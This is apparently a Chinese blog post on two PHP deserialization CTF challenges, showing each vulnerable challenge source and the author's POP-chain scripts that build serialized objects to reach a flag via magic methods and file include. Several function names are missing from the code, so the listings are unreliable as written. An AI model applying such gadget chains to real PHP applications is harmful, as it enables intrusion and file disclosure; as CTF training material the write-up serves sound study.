ctf反序列化练题

Posted kode00

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctf反序列化练题相关的知识,希望对你有一定的参考价值。


[SWPUCTF 2021 新生赛]pop 

 <?php

(0);
("index.php");

class w44m

    private $admin = \'aaa\';
    protected $passwd = \'123456\';

    public function Getflag()
        if($this->admin === \'w44m\' && $this->passwd ===\'08067\')
            include(\'flag.php\');
            echo $flag;
        else
            echo $this->admin;
            echo $this->passwd;
            echo \'nono\';
        
    


class w22m
    public $w00m;
    public function __destruct()
        echo $this->w00m;
    


class w33m
    public $w00m;
    public $w22m;
    public function __toString()
        $this->w00m->$this->w22m();
        return 0;
    


$w00m = $_GET[\'w00m\'];
($w00m);

?> 

老规矩首先看代码,这是一道反序列化的题,get传参w00m,然后反序列化w00m。

然后寻找可以利用的点来获取Flag

class w44m

    private $admin = \'aaa\';
    protected $passwd = \'123456\';

    public function Getflag()
        if($this->admin === \'w44m\' && $this->passwd ===\'08067\')
            include(\'flag.php\');
            echo $flag;
        else
            echo $this->admin;
            echo $this->passwd;
            echo \'nono\';
        
    

可以看到w44m类中有Getflag方法可以获取flag,因此我们需要实现Getflag这个方法。

那么如何去实现这个方法呢,我们要知道我们反序列化是不触发类的成员方法;只有我们调用时方法才能触发。

那我们如何去实现呢?

class w22m
    public $w00m;
    public function __destruct()
        echo $this->w00m;
    

可以看到w22m类有__destruct方法,我们知道__destruct在类销毁时会自动调用,所以这就是我们的入口,知道头和尾后我们就可以构造pop链了,

我们让$a=new w22m;,然后通过调用w33m类中的__toString方法来进行调用w44m中的Getflag方法。

如下:

<?php
class w44m

    private $admin = \'w44m\';
    protected $passwd = \'08067\';

    


class w22m
    public $w00m;
    public function __destruct()
        echo $this->w00m;
    


class w33m
    public $w00m;
    public $w22m=\'Getflag\';
    public function __toString()
        $this->w00m->$this->w22m();//若w22m为Getflag方法,那么需要让w33m中的w00m为w44m的对象,这样才能调用w44m中的Getflag()方法
        return 0;
    

$a=new w22m;
$a->w00m=new w33m;//执行w33m类中的toString方法
$a->w00m->w00m=new w44m;//
echo (($a));

?>

 

[NISACTF 2022]popchains

Happy New Year~ MAKE A WISH
<?php

echo \'Happy New Year~ MAKE A WISH<br>\';

if(isset($_GET[\'wish\']))
    @($_GET[\'wish\']);

else
    $a=new Road_is_Long;
    (__FILE__);

/***************************pop your 2022*****************************/

class Road_is_Long
    public $page;
    public $string;
    public function __construct($file=\'index.php\')
        $this->page = $file;
    
    public function __toString()
        return $this->string->page;
    

    public function __wakeup()
        if(("/file|ftp|http|https|gopher|dict|\\.\\./i", $this->page)) 
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        
    


class Try_Work_Hard
    protected  $var;
    public function append($value)
        include($value);
    
    public function __invoke()
        $this->append($this->var);
    


class Make_a_Change
    public $effort;
    public function __construct()
        $this->effort = array();
    

    public function __get($key)
        $function = $this->effort;
        return $function();
    

/**********************Try to See flag.php*****************************/ 

老规矩我们先看代码,可以看到这是一道反序列化的题,通过wish进行get传参来进行反序列化。

然后我们需要看可以获取falg的点,

 

class Try_Work_Hard
    protected  $var;
    public function append($value)
        include($value);
    
    public function __invoke()
        $this->append($this->var);
    

 

 

 

 

可以看到Try_Work_Hard类中的append方法里面有include函数,所以说我们可以通过文件包含获取flag。

但是我们无法直接去调用append方法,我们可以先进行调用__invoke魔术方法(上一篇我写过如何去调用__invoke魔术方法,并且上一篇buuctf上的题和这道题相类似)来调用append方法。

尾部找到后接着我们就需要找到我们pop链的首部了。

class Road_is_Long
    public $page;
    public $string;
    public function __construct($file=\'index.php\')
        $this->page = $file;
    
    public function __toString()
        return $this->string->page;
    

    public function __wakeup()
        if(("/file|ftp|http|https|gopher|dict|\\.\\./i", $this->page)) 
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        
    

看到在Road_is_Long类中有__wakeup魔术方法,我们知道当反序列化还原时最先调用的就是__wakeup魔术方法。

因此我们首部和尾部都已经找到,所以我们就可以构造我们的pop链

构造思路如下: __wakeup() -> 创建 page 为Road_is_Long 类本身   => __toString ->  $this->Make_a_change => __get () $this->effort = make_a_change()=> __invoke()  -> => append() => include($value); value=/flag

 

接着我们就可以进行构造了:

<?php
class Road_is_Long
    public $page;
    public $string;
     public function __construct()
        
    
   
    public function __toString()
        return $this->string->page;
    
   

  

class Try_Work_Hard
    protected  $var=\'/flag\';
  


class Make_a_Change
    public $effort;
   

   

$a=new Road_is_Long;
$a->page=new Road_is_Long;
$a->page->string=new Make_a_Change;
$a->page->string->effort=new Try_Work_Hard;
echo (($a));

?>

然后将获取的值Get传入即可

以上是关于ctf反序列化练题的主要内容,如果未能解决你的问题,请参考以下文章

CTF PHP反序列化漏洞

从一道CTF题学习PHP反序列化漏洞

CTF-反序列化

技术分享从一道CTF题学习PHP反序列化漏洞

ctf serialize 序列化和反序列化

CTF php反序列化总结